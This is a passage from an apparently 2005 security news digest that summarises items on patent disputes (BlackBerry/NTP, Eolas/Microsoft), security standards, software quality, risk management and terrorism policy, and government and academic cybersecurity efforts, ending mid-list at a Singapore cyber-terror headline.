BLACKBERRY WORKAROUNDS READIED TO SIDESTEP PATENT PROBLEMS

Research In Motion Ltd. said Wednesday, November 30, it is preparing workarounds to keep BlackBerry services in the U.S. up and running, in the event a court issues an injunction against the company as a result of ongoing patent litigation. A new chapter emerged in its dispute with NTP Inc., earlier Wednesday when a federal judge invalidated a \$450 million settlement between RIM, maker of the BlackBerry email device, and the Arlington, VA, patent holding company. The ruling was a victory for NTP, which had argued that the settlement was never finalized. As a result, U.S. District Judge James R. Spencer could next consider whether to re-issue an injunction preventing RIM, based in Canada, from offering BlackBerry service in the U.S. In a statement, RIM said it was prepared to argue against the injunction, but also said it was ready to make changes to its technology to avoid the alleged patent infringement. "As a contingency, RIM has also been preparing software workaround designs, which it intends to implement if necessary to maintain the operation of BlackBerry services in the United States," the company said.

Category 4B2

Patents

2005-12-02

**intellectual property rights violation patent infringement Microsoft Internet
Explorer IE tweak Eolas Technologies applets ActiveX**

EDUPAGE; <http://www.internetnews.com/xSP/article.php/3568286>

MICROSOFT TWEAKS IE TO SIDESTEP EOLAS PATENT

Microsoft has made a change to its Internet Explorer browser to avoid infringing on a patent held by Eolas Technologies, though Microsoft continues to dispute the validity of that patent. Eolas was granted a patent in 1998 for a technology that allows certain programs, such as applets or ActiveX controls, to be launched automatically from Web pages. Eolas sued Microsoft in 1999 and in 2003 was awarded \$521 million for infringement of its intellectual property. That case has been working its way through appeals courts and is set for a retrial. In the meantime, Microsoft has opted to modify its browser so that users must manually accept the launching of ActiveX controls on Web pages. Unlike an earlier proposal, the one implemented will not require users to accept each such control on a Web page but simply to accept them all at once. Microsoft's Michael Wallent said this solution is less intrusive and that for most users, it will be "an almost invisible change." Microsoft is working with developers to rewrite Web pages in a way to minimize the effects of the change. Internet News, 2 December 2005

<i>Category</i>	<i>4B2</i>	<i>Patents</i>		
2005-12-04		intellectual property rights violation patent infringement BlackBerry lawsuit		
RISKS; http://tinyurl.com/dtkra			24	11
BLACKBERRY PATENT INFRINGEMENT LAWSUIT				

A "long-running patent infringement battle between the maker of BlackBerry, Research In Motion, and NTP, a tiny patent holding company, might cause a service shutdown, perhaps within a month. ... R.I.M., which is based in Waterloo, Ontario, promises it has a solution that will keep its beloved BlackBerrys humming even in the face of an injunction. While most analysts view the prospects of a shutdown as unlikely, they have little faith in the proposed solution, which has potential legal pitfalls of its own. What's more, the history of the struggle between the companies means that no outcome is certain."

[Abstract by Peter G. Neumann]

<i>Category</i>	<i>4B2</i>	<i>Patents</i>		
2005-12-15		intellectual property rights violation patent infringement mobile mail Visto lawsuit Microsoft		
EDUPAGE;				
http://www.siliconvalley.com/mld/siliconvalley/business/technology/13415305.htm				
MOBILE MAIL PATENT SUIT FILED AGAINST MICROSOFT				

Visto Corporation of Redwood Shores, California, a start-up company dedicated to mobile e-mail, has sued Microsoft Corporation for infringement of three patents. The suit targets methods for handling information between servers and handheld devices. Microsoft bundles its Windows Mobile operating system with its Exchange e-mail server. According to a Visto release, "This method of bundling software ... potentially increases the rate and manner in which their infringement on Visto's patents occurs." Microsoft representatives declined to comment until the company had seen and evaluated the suit. San Jose Mercury News, 15 December 2005

<i>Category</i>	<i>4B2</i>	<i>Patents</i>		
2005-12-19		NTP RIM Blackberry patent review infringement lawsuit court case e-mail rejection		
EDUPAGE; http://www.nytimes.com/2005/12/20/technology/20rim.html				
PATENT OFFICE EXPECTED TO REJECT NTP PATENTS				

The U.S. Patent and Trademark Office notified NTP, a patent holding company, and Research in Motion (RIM), maker of the BlackBerry wireless e-mail device, that it expects to reject the five patents held by NTP. The two companies are involved in a patent infringement lawsuit brought by NTP. The patent office had issued preliminary rejections of the e-mail patents in the past, but speeded its review process in response to a request by RIM. The patent review is separate from the patent infringement lawsuit, which could potentially stop most BlackBerry service in the United States. NTP expects to appeal the final patent rulings, a process that could take several years.

4B3 Reverse engineering

Category 4B3

Reverse engineering

2005-12-29

electronic voting machines legal challenges

RISKS

24

14

DRUNKS MUST HAVE ACCESS TO BREATHALYZER INNARDS BUT VOTERS MUST TRUST E-VOTING MACHINES

Tanner Andrews pointed out the irony of US state law, in which drunk drivers have been ruled to have full access to the internals of breath-analysis devices used by police whereas voters have no legal right to examine the internals of electronic voting machines.

4C1 Paradigms, security standards

Category 4C1

Paradigms, security standards

2005-02-08

Office Management Budget OMB cybersecurity standardization increase security reduce spending task force Homeland Security DHS

DHS IAIP Daily; <http://www.govexec.com/dailyfed/0205/020805p1.htm>

OFFICE OF MANAGEMENT AND BUDGET CONSIDERING CYBERSECURITY STANDARDIZATION

Office of Management and Budget (OMB) officials are considering standardizing the cybersecurity business processes of agencies in order to save money, increase security and help those with small information technology budgets. A task force led by the Homeland Security Department and OMB officials will meet in March to consider whether the consolidation of common processes, services and technologies regarding security could improve performance while reducing costs. About \$4 billion is spent each year securing federal information technology; an OMB official speculated that 40 percent of that is spent on processes that are common among agencies. The task force would examine how much of the \$4 billion is spent on actual security improvements rather than duplicative administrative functions.

<i>Category</i>	<i>4C1</i>	<i>Paradigms, security standards</i>
2005-02-20		software quality assurance QA systems engineering failure rates programming errors design flaws process modular construction paradigm shift expectations
RISKS		23 73

BUY VS BUILD -- OR ELSE

Paul Robinson wrote an essay for RISKS that pointed out how unusual it is in our society for us to build tools or other products from scratch in our normal lives. We buy bread, cutlery, peanut butter, kitchen sinks, stoves, tiles ... almost everything we need is created by specialists and used by others.

So why do we think it is still normal to build software from scratch? Why aren't we insisting on building software from well-tried-and-tested modules that we can use to put together the desired functionality?

And how come other products, such as wrenches, refrigerators and washing machines, have warranties -- some of them lifetime warranties -- but software generally does not? Why are we tolerating this degree of shoddy engineering and production in such critical tools in our current lives?

The question that should be asked is, "why this is allowed to continue?"

Robinson writes:

Software as it is currently being developed provides so much value relative to its costs that we as practitioners of this medieval-class craft (in terms of our level of automation and sophistication of production methods) can get away with practices that would not be tolerated by a Taiwanese manufacturer of toasters.

And this is the reason we are seeing programming jobs being outsourced to low wage countries. If you're going to get crappy software there's no reason to pay premium prices for it. It is exactly the sort of situation that befell the American automobile manufacturers back in the 1970s and 1980s. And unless we start to make changes we will see exactly the same thing happening.

Actually some of the software development places that are used for outsourcing have formal practices in place for reducing defects. So it is entirely possible what we are getting is the exact equivalent of what I stated above. The overseas "manufacturers" produce better quality at a lower cost than we do.

I think that a basis of component architecture is the direction that we need to go in the development of software. That we need to make more software to be designed as a series of reusable components that can be used in other contexts. It also means we need to develop at least an engineering discipline in a way of making software of higher quality and eventually to reduce the risks of development.

And this is why I now understand more clearly why I knew that there was something right about this concept even though I didn't know exactly why at the time. In a book I once wrote, the main character explains about realizing the validity of a concept even if you're not sure why:

>I know how that is; more than once I've had gut feelings about things where I couldn't put my finger on it, but I knew something wasn't right. Later I would discover why I had that feeling, and, more importantly, why I was right, but at the time I did not have the evidence or knowledge to know why I felt that way.<

- George Green, "In the Matter of: The Gatekeeper: The Gate Contracts"

We can continue on the same path of disaster-ridden bugware or we can choose to change. We can change because the current methods do not work very well, they spell disaster in terms of cost, reliability, future employment potential, and the possibility of seeing our craft ruined by heavy-handed government mandates for licensing. We can choose to change because if we do not, the choice on how to make the changes may be made for us, and in a manner we will not appreciate.

The process will not be easy, but the benefits to us will more than outweigh the short-term losses by having to re-learn a new way of working, and thinking. If we want to continue to have fun in this craft without being placed into a bad position because of our own arrogance in failing to acknowledge the incompetence, sloth and waste our current practices contain, we need to change. And we need to do it before we are forced to do so because the customers decide they can't stand it any more, before we do.

This essay provoked a flurry of interesting contributions in RISKS 23.74 <<http://catless.ncl.ac.uk/Risks/23.74.html#subj2>>. Highlights include these points [with authors in square brackets so you can find their full comments easily]:

* The same issues were raised in 1968 by Doug McIlroy in a NATO conference on software engineering; see <<http://homepages.cs.ncl.ac.uk/brian.randell/NATO/>>. [Jim Horning]

* Problems in components spread throughout the industry; e.g., "the buffer overflow in the commonly-used JPEG decoding algorithm." [Rick Russell]

* Software is much more complicated than manufactured goods. [Rick Russell]

* Describing software is much more difficult than describing physical objects or tools and therefore reusability is difficult to engineer or attain. [Kurt Fredriksson]

* Even when reusable components are part of a software project, there is still lots of work because of dependencies that may break the code when components are poorly upgraded. [Jay R. Ashworth]

* Object-oriented programming has resulted in aborted development of more advanced programming languages. [Kurt Fredriksson]

* It may not be possible to write perfect code using the specifications of existing code because new situations may impose unexpected constraints that lead to unexpected behavior of the systems. [Ray Blaak]

* Work by Jef Raskin, the architect of the Macintosh project at Apple, may lead to error-free user interfaces. See his text "The Humane Interface: New Directions for Designing Interactive Systems." [Richard Karpinski] [MK looked up the ISBN: 0-201-37937-6 & the AMAZON URL: <http://tinyurl.com/abt7a>]

* "...[T]he problem isn't a lack of components, it's that we're building much larger systems in relation to the power of those components." [Geoff Kuenning]

* "... [O]ther people's components will only work for you if those people's domain model is sufficiently close to yours -- otherwise they are too generic to be of any use to anybody, all they are is overhead." [Dimitri Maziuk]

* "Software is not constrained by the laws of nature (until or unless it comes to controlling a real system).... Thus while traditional manufacture is bounded by well-established physical parameters which lend themselves to repeatable solutions, requirements for software systems are not so bounded. This tends to mean that the requirements for each system are unique. And because of the perception that software can do anything, the requirements tend to be complex too: arguably excessively so. Working this down into the details of implementation, this means that the components needed tend to be unique for each system - thus limiting the possibilities of reuse." [Stephen Bull]

Category 4C1 Paradigms, security standards

2005-02-28 **National Institute of Standards and Technology NIST security guidelines release
Federal Information Security Management Act FISA**

DHS IAIP Daily;
http://news.com.com/NIST+releases+final+security+guidelines/2100-7348_3-5593256.html?tag=nefd.top

NIST RELEASES FINAL SECURITY GUIDELINES.

A final version of security guidelines designed to protect federal computer systems and the information they hold was released Monday, February 28, by the National Institute of Standards and Technology (NIST). The guidelines will serve as a road map for federal agencies in meeting mandates set by the Federal Information Security Management Act (FISA). Government agencies will be required to have certain security controls, policies and procedures in place. At the heart of the initiative is an effort to protect the confidentiality, integrity and availability of all federal information systems that are not part of the national security system. The security controls in the new NIST guidelines span 17 key areas, ranging from user identification to authentication to risk assessment. Guidelines: <http://csrc.nist.gov/publications/nistpubs/800-53/SP800-53.pdf>

Category 4C1

Paradigms, security standards

2005-06-09

NIST feds control security computer systems FISMA

EDUPAGE; <http://www.fcw.com/article89154-06-09-05-Web>

FEDS LOOK TO ADD CONTROLS TO COMPUTER SYSTEMS

The National Institute of Standards and Technology (NIST) is developing a set of controls that federal agencies will be compelled to adopt to increase the security of their computer systems. The controls are part of an effort to bring agencies into compliance with the Federal Information Security Management Act (FISMA). FISMA Implementation Project Leader Ron Ross said that agencies will be required to add 17 safety controls to their systems, noting that stronger controls will be required for more important systems. When finalized, the controls will become mandatory in January 2006. Agencies will have one year to implement the controls on existing systems; for new systems, the controls will be required immediately. Ross stressed that although it will not be "easy to put in all these controls and get them working," the government must make every effort "to establish a federal level of due diligence" for its computer systems. Federal Computer Week, 9 June 2005

Category 4C1

Paradigms, security standards

2005-12-15

IT costs laws compliance budgets corporate governance study Sarbanes-Oxley SOX

EDUPAGE; http://news.zdnet.com/2100-9595_22-5996670.html

MEETING COMPLIANCE LAWS RAISES IT COSTS

According to a recent Gartner study, laws on corporate governance and compliance, such as the U.S. Sarbanes-Oxley Act, force businesses to spend more on information technology. The report predicts increases in IT budgets from 10 to 15 percent in 2006, up from roughly 5 percent in 2004. The survey included 326 audit, finance, and IT professionals in North America and Western Europe. Gartner recommended solutions that can support multiple regulations across a business to maximize effectiveness on spending for compliance.

4C2 Risk management methodology & tools

<i>Category 4C2</i>	<i>Risk management methodology & tools</i>		
2005-01-19	risk analysis terrorism politics propaganda rationality fear hysteria		
RISKS		23	68
SCHNEIER ON THE ILLUSION OF SECURITY			

Curt Sampson published a review of an interesting article in ATLANTIC MONTHLY in January/February 2005. [That article extensively quoted noted security expert Bruce Schneier.] Mr Sampson's review follows:

In the January/February 2005 issue of The Atlantic Monthly there is an article by James Fallows entitled "Success Without Victory," discussing risk management as it applies to the war on terror.

One key point is that there are people out there who, in the tradition of RISKS readers themselves, take a sensible and scientific approach to the war on terror, seeing it as an exercise in risk management rather than something that can be "won," causing all of the risks to go away:

There will always be a threat that someone will blow up an airplane or a building or a container ship.... But while we have to live in danger, we don't have to live in fear. Attacks are designed to frighten us even more than to kill us. So let's refuse to magnify the damage they do. We'll talk about the risk only when that leads to specific ways we can make ourselves safer. Otherwise we'll just stop talking about it, as we do about the many other risks and tragedies inevitable in life.

We cannot waste any more time on make-believe....measures that seem impressive but do not make us safer, such as national threat-level warnings and pro forma ID checks. The most damaging form of make-believe is the failure to distinguish between destructive but not annihilating kinds of attack we can never eliminate but can withstand and the two or three ways terrorist groups could actually put our national survival in jeopardy. We should talk less about terrorism in general and more about the few real dangers.

Screening lines at airports are perhaps the most familiar reminder of post-9/11 security. They also exemplify what's wrong with the current approach. Many of the routines and demands are silly, eroding rather than building confidence in the security regime of which they are part.

[Daniel] Prieto argues that the roughly \$4 billion now going strictly toward airline passengers could make Americans safer if it were applied more broadly in transportation -- reinforcing bridges, establishing escape routes from tunnels, installing call boxes, mounting environmental sensors, screening more cargo. All these efforts combined now get less than \$300 million a year, which will drop to \$50 million next year.

Where the article gets really interesting, however, is in pointing out the political barriers to doing the rational thing from a risk-analysis point of view. For example, spending less on airline security in order to spend more on land and water transportation:

Rationally, this is an easy tradeoff: less routine screening of passengers who don't call out for special attention (watch lists, travel and spending patterns, and other warning mechanisms can be improved), in exchange for more and faster work to reduce the vulnerabilities of bridges, tunnels, and ports. In wartime a commander would easily make such a decision to protect his troops. But politically this decision is almost impossible. Such a tradeoff would make it likelier that some airplane, somewhere, would be blown up. If that happened, whoever had recommended the change would be excoriated -- even if more people had been spared equally gruesome fates in subways or near ports.

And even examples of where this is already happening:

[Terror and counter-insurgency experts] understand that this struggle will be with us for a very long time, that success will mean reducing rather than absolutely eliminating the threat of attacks, and that because there is no enemy government or army to surrender, there can be no clear-cut

moment of victory. "Ironically, when President Bush said this in the campaign, he was immediately jumped upon," Jenkins said. "It was a moment of truth for which he was promptly punished. Senator Kerry had a similar moment, when he said that the objective was to reduce terrorism to no more than a nuisance. Conceptually that was quite accurate, even if it was not the most felicitous choice of words. And he was punished too. In a campaign with a great deal of nonsense about the threat of terrorism, these two moments of truth were mightily punished, and the candidates had to back away and revert to the more superficial and less supportable assertions."

The article goes on with some general and specific recommendations for improving the security of America against terror attacks.

The approach will be nothing new to RISKS readers, though the details may be. But I find it very hopeful that articles like this are appearing in general interest magazines rather than just specialized forums like this.

<i>Category</i>	<i>Risk management methodology & tools</i>
2005-02-10	proposed legislation security measures identification authentication I&A law enforcement risk management propaganda hysteria terrorism privacy

RISKS; <http://www.house.gov/paul/congrec/congrec2005/cr020905.htm> 23 71

RISK MANAGEMENT AND TERRORISM

Larry Sudduth commented in RISKS that few congresscritters (MK's word) seem to understand risk management. He was pleased to report on one who apparently does.

H.R. 418, the "Immigrants ID bill" or "REAL ID Act of 2005," is advertised in part as establishing and rapidly implementing "regulations for State driver's license and identification document security standards, to prevent terrorists from abusing the asylum laws of the United States, to unify terrorism-related grounds for inadmissibility and removal." (See <http://thomas.loc.gov/cgi-bin/bdquery/z?d109:h.r.00418>:

The Honorable Dr. Paul characterizes HR 418 as a National ID Card bill masquerading as immigration reform. The clarity and brevity of his comments merit reading, both from an infosec perspective as well as a countermeasures perspective (... excerpted and LMS-ed below):

"...this bill will do very little to make us more secure. It will not address our real vulnerabilities. It will, however, make us much less free. In reality, this bill is a Trojan horse. It pretends to offer desperately needed border control in order to stampede Americans into sacrificing what is uniquely American: our constitutionally protected liberty."

"This bill establishes a massive, centrally-coordinated database of highly personal information about American citizens: at a minimum their name, date of birth, place of residence, Social Security number, and physical and possibly other characteristics ... that will be shared with Canada and Mexico!"

"This legislation gives authority to the Secretary of Homeland Security to expand required information on drivers' licenses, potentially including such biometric information as retina scans, finger prints, DNA information, and even Radio Frequency Identification (RFID) radio tracking technology."

"There are no limits on what happens to the database of sensitive information on Americans once it leaves the United States for Canada and Mexico - or perhaps other countries. Who is to stop a corrupt foreign government official from selling or giving this information to human traffickers or even terrorists? Will this uncertainty make us feel safer?"

Security practitioners know better than most the aptness of the saying, "err in haste, repent at leisure." I hope Representative Paul's common-sense proves to be contagious before HR 418 comes to a floor-vote.

<i>Category</i>	<i>4C2</i>	<i>Risk management methodology & tools</i>		
2005-03-04		nuclear power plant information security digital systems SCADA government regulations standards industry protest obstruction denial		
RISKS; http://www.securityfocus.com/news/10618?ref=rss			23	78

SECURITY? NUCLEAR PLANTS DON'T NEED NO STINKIN' SECURITY!

Jim Horning relayed a discussion of nuclear power industry opposition to proposals for improved cyber security in nuclear generator plants.

"Two companies that make digital systems for nuclear power plants have come out against a government proposal that would attach cyber security standards to plant safety systems. The 15-page proposal, introduced last December by the U.S. Nuclear Regulatory Commission (NRC), would rewrite the commission's 'Criteria for Use of Computers in Safety Systems of Nuclear Power Plants.' The current version, written in 1996, is three pages long and makes no mention of security. The plan expands existing reliability requirements for digital safety systems, and infuses security standards into every stage of a system's lifecycle, from drawing board to retirement. Last month the NRC extended a public comment period on the proposal until March 14th to give plant operators and vendors more time to respond. So far, industry reaction has been less than glowing."

"The NRC tries to promote the use of digital technology in the nuclear power industry on the one hand, but then over-prescribes what is needed when a digital safety system is proposed," wrote one company president.

"The entire cyber security section should be deleted and only a passing reference to the subject retained," another company wrote.

More information at
<http://www.securityfocus.com/news/10618?ref=rss> and
<http://horning.blogspot.com/2005/03/security-nuclear-plants-dont-need-no.html>

<i>Category</i>	<i>4C2</i>	<i>Risk management methodology & tools</i>		
2005-03-07		airport safety false sense security identification authentication counter-terrorism failure fraud propaganda illusion		

RISKS; <http://www.nytimes.com/2005/03/06/magazine/06ADVISER.html>

23

78

AIRPORT SECURITY CHECK OF LICENSES A FARCE

John F. McMullen provided this abstract of an article by Richard A. Clarke, former counter-terrorism adviser on the U.S. National Security Council that was published in the New York Times:

Have you ever wondered what good it does when they look at your driver's license at the airport? Let me assure you, as a former bureaucrat partly responsible for the 1996 decision to create a photo-ID requirement, it no longer does any good whatsoever. The ID check is not done by federal officers but by the same kind of minimum-wage rent-a-cops who were doing the inspection of carry-on luggage before 9/11. They do nothing to verify that your license is real. For \$48 you can buy a phony license on the Internet (ask any 18-year-old) and fool most airport ID checkers. Airport personnel could be equipped with scanners to look for the hidden security features incorporated into most states' driver's licenses, but although some bars use this technology to spot under-age drinkers, airports do not. The photo-ID requirement provides only a false sense of security.

<i>Category 4C2</i>	<i>Risk management methodology & tools</i>
2005-03-12	risk management assessment professionals credentials credibility software quality assurance QA

RISKS 23 79

NEED PROFESSIONAL RISK ASSESSMENT TO IMPROVE SYSTEMS

Jack Goldberg published a thoughtful essay about risk management in RISKS:

Risks associated with developing and using computer systems have been documented widely (e.g., by PGN) and have become part of popular awareness. Economic costs resulting from these risks are huge, though presently unquantified. They include the costs of system failures, abandoned system developments, and lost opportunities to build valuable systems whose complexity is deemed beyond present art.

Despite the widespread awareness of this situation, nothing fundamental has been done to change it. New system technologies attempt to improve matters by giving system builders better tools. Large corporate and government initiatives to improve system trustworthiness have been announced. Despite many advances, system development risks have not abated. New systems keep getting developed whose defects are discovered too late to be repaired economically. Repairs become patches and basic defects remain embedded in the system. These problems are pervasive, both in safety and infrastructure-critical applications and in the mundane data-processing applications that support the national economy.

With all the awareness of the hazards of system building, why does this bad situation continue? We suggest that the reason is the weakness of current risk assessment for new systems. Warnings about computer system risks that are given in an early stage do not have the force of warnings in other disciplines such as medicine and civil engineering and so they are ignored or discounted.

What can be done to improve the believability of warnings about development hazards? We do not envision a super-powerful tool that can generate a high-confidence hazard assessment for all situations. Rather we see the need for a profession of hazard auditors who have earned acceptance based on their scientific skills and experience. The need for their skills should be assumed and demanded in all system development efforts. Their observations (and if necessary, testimonies) should be communicated to purchasers, builders and users. Tools should be developed to support their analyses.

Building such a profession would be a substantial effort but the effort would surely be justified by the enormous cost of current development deficiencies. Government agencies, corporations, universities and professional associations all have clear roles to perform.

<i>Category 4C2</i>	<i>Risk management methodology & tools</i>
2005-12-06	terrorism threat counter-terrorism watch lists mistakes US DHS errors risk false positives identification authentication I&A

RISKS; <http://tinyurl.com/chvdq> 24 11

HASSLES OF TERRORIST WATCH LISTS

Contributor Richard M. Smith documents a CNET news article bemoaning the hassles of being placed on a terrorist watch list. Nearly 30,000 airline passengers found out in 2004 that they were on such lists. The article continued:

>Jim Kennedy, director of the Transportation Security Administration's redress office, revealed the errors at a quarterly meeting convened here by the U.S. Department of Homeland Security's Data Privacy and Integrity Advisory Committee.

Marcia Hofmann, staff counsel at the Electronic Privacy Information Center, said this appeared to be the first time such a large error has been admitted. "It was a novel figure to me," Hofmann said. "The figure shows that many more passengers than we've anticipated have encountered difficulty at airports. The watch list still has a long way to go before it does what it's supposed to do."

Kennedy said that travelers have had to ask the TSA to remove their names from watch lists by submitting a "Passenger Identity Verification Form" and three notarized identification documents. On average, he said, it takes officials 45 to 60 days to evaluate the request and make any necessary changes.

Travelers have been instructed to file the forms only after experiencing "repeated" travel delays, he said, because additional screening can occur for multiple reasons, including fitting a certain profile, flying on a one-way ticket, or being selected randomly by a computer.<

<i>Category 4C2</i>	<i>Risk management methodology & tools</i>
2005-12-19	UK psychology professor James Reason absent-mindedness risk management interview ABC
RISKS; http://abc.net.au/rn/podcast/feeds/health_20051219.mp3	24
PSYCHOLOGY PROF. INTERVIEW ABOUT RISK MANAGEMENT	13

Contributor James Cameron refers us to a valuable interview of James Reason, Emeritus Professor of Psychology at University of Manchester (UK). Prof. Reason talks about:

- * Absentmindedness,
- * the Tenerife disaster (1977, two Boeing 747s collide),
- * no remedial benefit from blame,
- * root cause analysis,
- * the Gimli Glider.

Mr Cameron writes, "Here is an interview that is very suitable for passing on to your non-technical friends who don't understand why you are so morbidly fascinated with risks."

Interview transcript: <http://www.abc.net.au/rn/talks/8.30/helthrpt/stories/s1529677.htm>

4C5 Academic/Industry/Vendor/Govt efforts

Category 4C5 Academic/Industry/Vendor/Govt efforts

2005-01-07 **IT technology schools Internet schoolwork curriculum**

EDUPAGE; <http://www.siliconvalley.com/mld/siliconvalley/10588049.htm>

PAIGE CALLS FOR STRONGER IT EMPHASIS

Education Secretary Rod Paige this week called for improved use of technology in U.S. schools. According to a report issued by the Department of Education, virtually all of the nation's schools are connected to the Internet, and schools on average have one computer for roughly every five students. Despite this level of technology available, and despite the fact that many students are using computers regularly for schoolwork, educators do not have the skills or the understanding to effectively integrate technology into the curriculum, according to the report. "Schools remain unchanged for the most part," said Paige, "despite numerous reforms and increased investments in computers." Although insufficient funding is frequently cited as a reason for the lag in teacher training, the report rejected that argument, pointing out that funding can come from a number of sources.

Category 4C5 Academic/Industry/Vendor/Govt efforts

2005-01-12 **Opera browser education university education browser campus**

EDUPAGE; http://news.com.com/2100-1032_3-5533666.htm

OPERA BROWSER FREE FOR HIGHER EDUCATION

Opera Software said this week that its Opera browser will be freely available to any university worldwide, in an effort to protect higher education from flaws in "more vulnerable browsers." The company also touted its browser's customization features, which would allow colleges and universities to personalize the browser for their own campus. Opera CEO Jon von Tetzchner said his company's browser is "fully standards-compliant and offers extensive administration possibilities for network configuration." Institutions including Harvard University, the Massachusetts Institute of Technology, and Oxford University have reportedly already taken Opera up on its offer. CNET, 12 January 2005

Category 4C5 Academic/Industry/Vendor/Govt efforts

2005-01-13 **FBI computer system attacks intelligence agencies software**

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7324403>

FBI'S NEW COMPUTER SYSTEM ALREADY OLD

A complete overhaul of the FBI's computer system following the September 11 attacks may prove to have been wasted effort, according to the agency. Criticism was leveled at intelligence agencies following the attacks of September 11, with some arguing that, had information been freely shared among the agencies, the attacks might have been prevented. The FBI undertook to replace all of its systems at one time, which agency officials said was the wrong approach. One official compared the initiative to "changing wheels on a car that is going at 70 miles per hour." Such an overhaul, he said, should be done in stages. Critics faulted the old system for being largely paper-based, preventing agents in the field from accessing needed information or from filing reports electronically. An application called Virtual Case File was supposed to fix many of those problems, but after numerous delays, the software that was finally delivered last month is largely unusable. Reuters, 13 January 2005

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-01-18 **report spending cybersecurity Presidents Information Technology Advisory Committee research academic Cyber Trust NSF**

EDUPAGE; <http://chronicle.com/prm/daily/2005/01/2005011802n.htm>

REPORT CALLS FOR INCREASED SPENDING ON CYBERSECURITY

A new report from the President's Information Technology Advisory Committee calls for increased federal spending on cybersecurity research and stronger efforts to support academic research into cybersecurity. The report outlines a number of structural issues that contribute to the current problem, including a bureaucracy that causes confusion among federal agencies about the sources of funding for cybersecurity projects. According to the report, the Cyber Trust, which was established by the National Science Foundation (NSF), funded only 8 percent of the proposals it reviewed, while 25 percent warranted support. The report recommends increasing the NSF's cybersecurity budget by \$90 million a year. Because cybersecurity projects often involve classified material, many colleges and universities cannot participate. The report argues that the government should take steps to increase the number of faculty involved in cybersecurity research--currently fewer than 250--and to attract more students to the field, with the goal of doubling the number of cybersecurity researchers in 10 years.

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-01-18 **Media Lab Europe funding MIT corporate funding research**

EDUPAGE; <http://www.nytimes.com/2005/01/18/technology/18lab.html>

MEDIA LAB EUROPE TO CLOSE

Five years after it was opened, Media Lab Europe will close its doors, unable to attract sufficient funding to remain viable. Modeled after the successful Media Lab at MIT, Media Lab Europe opened in Dublin, Ireland, hoping to secure 165 million euros as a 10-year budget. Despite 35.5 million euros from the Irish government--as well as another 22.5 million the government spent on Media Lab's facilities, which were rented to the lab for virtually nothing--organizers of the lab were only able to sign up eight corporate and private-sector partners. Some critics of the lab said the funding model that worked in the United States was unlikely to work in Europe and should have been adjusted accordingly. Others noted that in an environment where public funding of academic research was difficult to come by, the Irish government's generous support of Media Lab may have annoyed other researchers in the country, thereby isolating the lab from them. Nicholas Negroponte, founder of Media Lab, said he had hoped the lab would seed other such research projects in Europe, but he attributed its demise to the bursting of the dot-com bubble and to what he called "top-down, highly bureaucratic and geopolitical funding offered by the E.U."

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-01-26 **Sun Solaris open source Microsystems Dell HP Linux products systems products operating system**

EDUPAGE; <http://www.nytimes.com/2005/01/26/technology/26sun.html>

SUN MOVES SOLARIS TO OPEN SOURCE

Sun Microsystems has announced it will make its Solaris 10 operating system available as an open source product. Sun has lost ground to companies including Dell and HP that increasingly offer Linux-based products. Changing consumer sentiment regarding proprietary systems has left Sun defending its products, and the company's latest move is designed to persuade developers to once again consider Sun's technology. The open source Solaris will be available free of charge, and developers will be able to make changes to the operating system to improve it as they see fit. According to John Loiacono, executive vice president for software at Sun, the goal is to get more developers using Solaris, thereby increasing opportunities for Sun to sell its other products and hardware. The company also announced it would modify its stance on intellectual property and allow free use of 1,600 of the patents it holds on the Solaris operating system.

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-01-31 **open source legal service Linux Software Freedom Law Center Moglen**

NewsScan; <http://www.siliconvalley.com/mld/siliconvalley/10783701.htm>

LEGAL CENTER FOR OPEN-SOURCE PROJECTS

A consortium of companies seeking promote use of the Linux operating system has contributed \$4 million to establish a legal center for nonprofit open-source projects and developers. The Software Freedom Law Center will be headed by Columbia University law professor Eben Moglen, who explains: "The Law Center is being established to provide legal services to protect the legitimate rights and interests of free and open source software projects and developers, who often do not have the means to secure the legal services they need." (AP/San Jose Mercury News 31 Jan 2005)

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-02-10 **fighting computer distractions academic commercial reading checking weather online surfing Web sites music files Microsoft University applications Software message**

EDUPAGE;
<http://www.nytimes.com/2005/02/10/technology/circuits/10info.html>

FIGHTING COMPUTER DISTRACTIONS

A number of academic and commercial researchers are working to limit the distractions that computer users continually face. Activities such as reading e-mail, checking the weather online or surfing other Web sites, or simply fiddling with electronic music files can prove to be significant impediments to productivity for many people. Researchers often speak of "cognitive flow," a state of strong focus on a particular task. Some projects, including one involving researchers at Microsoft and the University of Maryland, study flow with the goal of designing applications that attempt to discern such a state in computer users. Software can then assign priority levels to potential interruptions, such as a new e-mail message, and determine whether to alert the user or to wait until the flow has ended. Alon Halevy, a professor of computer science at the University of Washington, is also working on e-mail systems that can decide when best to interrupt the user. Other efforts focus on understanding the types of functional structures that cause or promote distractions.

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-02-21 **US government federal group IT security boost CISO exchange CIO council**

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml?articleID=60402267>

FEDERAL GROUP FORMED TO BOOST SECURITY

The consistent failure of many federal agencies to secure their IT systems has prompted government officials to create a new organization, which will be funded by the private sector, to help chief information security officers improve cybersecurity. The formation of the CISO (Chief Information Security Officer) Exchange was disclosed last week by the federal CIO Council and the chairman of the House Government Reform Committee, Tom Davis, R-VA, who also released a computer-security scorecard for two dozen federal departments and agencies. Unlike the CIO Council, the CISO Exchange will be an informal organization aimed at providing more than 100 departmental and agency chief information security officers with a way to collaborate. The exchange will be co-chaired by Justice Department CIO Van Hitzch, who heads the CIO Council's cybersecurity and privacy committee, and Government Reform Committee staff director Melissa Wojciak. All money to support the CISO Exchange will come from business, mostly IT security companies. As of last week's announcement, no company had been asked to contribute money.

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-02-22 **Singapore cyber terrorism plan computer virus hacker threat government collaboration Australia United States**

DHS IAIP Daily;
<http://www.reuters.com/newsArticle.jhtml?type=internetNews&storyID=7698536>

SINGAPORE UNVEILS PLAN TO BATTLE CYBER TERROR.

